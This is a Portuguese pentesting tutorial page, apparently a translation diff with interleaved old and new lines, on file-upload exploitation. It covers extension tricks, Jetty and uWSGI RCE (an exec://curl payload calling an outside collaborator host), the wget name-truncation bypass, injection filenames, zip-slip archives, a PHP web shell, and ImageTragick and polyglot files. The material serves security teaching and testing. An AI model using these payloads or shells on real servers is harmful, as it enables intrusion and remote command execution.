6. Faça upload de um arquivo no **Windows** usando nomes reservados (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também fazer upload de um executável (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
### Special extension tricks
Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na **técnica .htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na **técnica .config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se você estiver tentando fazer upload de arquivos para um **PHP server**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você estiver tentando fazer upload de arquivos para um **ASP server**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que essa extensão fosse executada**.
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**.
## **Jetty RCE**
Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
Se você conseguir fazer upload de um arquivo XML em um servidor Jetty pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem abaixo, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, mostrando vários esquemas:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo da exploração potencial.
É crucial entender a natureza permissiva da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
## **wget File Upload/SSRF Trick**
## **wget Upload de Arquivos/Truque SSRF**
Em algumas ocasiões, você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista de permissões para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada.**\
O **comprimento máximo** de um **nome de arquivo** em **linux** é **255**, no entanto, **wget** trunca os nomes dos arquivos para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **contornar** a **verificação** (já que neste exemplo **".gif"** é uma **extensão válida**) mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e em que você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\
O **comprimento máximo** de um **nome de arquivo** no **linux** é **255**, entretanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **bypass** a **verificação** (pois, neste exemplo, **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,80 +156,85 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e o wget fará o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**.
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
## Ferramentas
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para ajudar Pentesters e Caçadores de Bugs a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters and Bug Hunters na testagem de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
## De upload de arquivo a outras vulnerabilidades
### Corrupting upload indices with snprintf quirks (historical)
- Defina **filename** como `../../../tmp/lol.png` e tente alcançar uma **traversal de caminho**
- Defina **filename** como `sleep(10)-- -.jpg` e você pode conseguir uma **injeção SQL**
- Defina **filename** como `<svg onload=alert(document.domain)>` para conseguir um XSS
- Defina **filename** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
- [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** arquivo **upload** + **XSS** = [**exploração de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
- [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
- Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas.
Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
## De upload de arquivos para outras vulnerabilidades
- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal**
- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir uma **SQL injection**
- Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um **XSS**
- Defina **filename** para `; sleep 10;` para testar alguma command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se você puder **indicar o web server para catch an image from a URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar algum PDF que execute JS arbitrário seguindo as indicações dadas.
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para verificar se o servidor possui algum **antivirus**
- Verifique se há algum **size limit** ao fazer upload de arquivos
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS armazenado / SSRF / XXE
3. **GIF**: XSS armazenado / SSRF
4. **CSV**: injeção CSV
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : injeção HTML / XSS / redirecionamento aberto
8. **PNG / JPEG**: ataque de inundação de pixels (DoS)
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / XXE CEGADO
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Extensão Burp
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Bytes Mágicos de Cabeçalho
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
## Upload de Arquivo Zip/Tar Automaticamente descompactado
## Zip/Tar File Automatically decompressed Upload
Se você puder fazer upload de um ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:
Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:
### Symlink
Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados você acessará os arquivos vinculados:
Faça upload de um arquivo que contenha soft links para outros arquivos; ao acessar os arquivos descomprimidos, você irá acessar os arquivos linkados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### Descomprimir em diferentes pastas
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar de suposições iniciais de que essa configuração poderia proteger contra execução de comandos a nível do SO através de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload protegidos manipulando a funcionalidade de descompressão da aplicação alvo.
Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado:
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Além disso, o **truque de symlink com evilarc** é uma opção. Se o objetivo é direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado em seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
```python
@ -249,11 +254,11 @@ zip.close()
create_zip()
```
**Abusando da compressão para file spraying**
**Abusing compression for file spraying**
Para mais detalhes **verifique o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
1. **Creating a PHP Shell**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
```php
<?php
@ -263,14 +268,14 @@ system($cmd);
}?>
```
2. **File Spraying e Criação de Arquivo Compactado**: Múltiplos arquivos são criados e um arquivo zip é montado contendo esses arquivos.
2. **File Spraying and Compressed File Creation**: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modificação com um Editor Hexadecimal ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para percorrer diretórios.
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para atravessar diretórios.
```bash
:set modifiable
@ -280,7 +285,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Carregue este conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (form do [exploit](https://www.exploit-db.com/exploits/39767))
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -289,31 +294,29 @@ pop graphic-context
```
## Embedding PHP Shell on PNG
Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
Incorporar uma PHP shell no chunk IDAT de um arquivo PNG pode contornar eficazmente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade da PHP shell incorporada de permanecer inalterada por essas operações é uma vantagem significativa para certos casos de uso.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e de suas implicações.
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Arquivos Polyglot
Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
Arquivos polyglot servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições.
A utilidade principal dos polyglots reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar silenciosamente essas restrições.
Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
Apesar de sua adaptabilidade, os polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload.
Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Fazer upload de JSONs válidos como se fossem PDF
### Upload valid JSONs like if it was PDF
Como evitar detecções de tipo de arquivo enviando um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Como evitar detecções de tipo de arquivo ao fazer upload de um arquivo JSON válido mesmo que não seja permitido, simulando um arquivo PDF (técnicas deste **[blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post)
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga interpretar o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele pensará que é um PDF
- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (obtenha exemplo do post)
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (obtenha exemplo do post)
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga analisar o conteúdo como um json e então, dentro do JSON, coloque a parte inicial de um PDF real e ele pensará que é um PDF
## References
## Referências
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +325,6 @@ Como evitar detecções de tipo de arquivo ao fazer upload de um arquivo JSON v
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}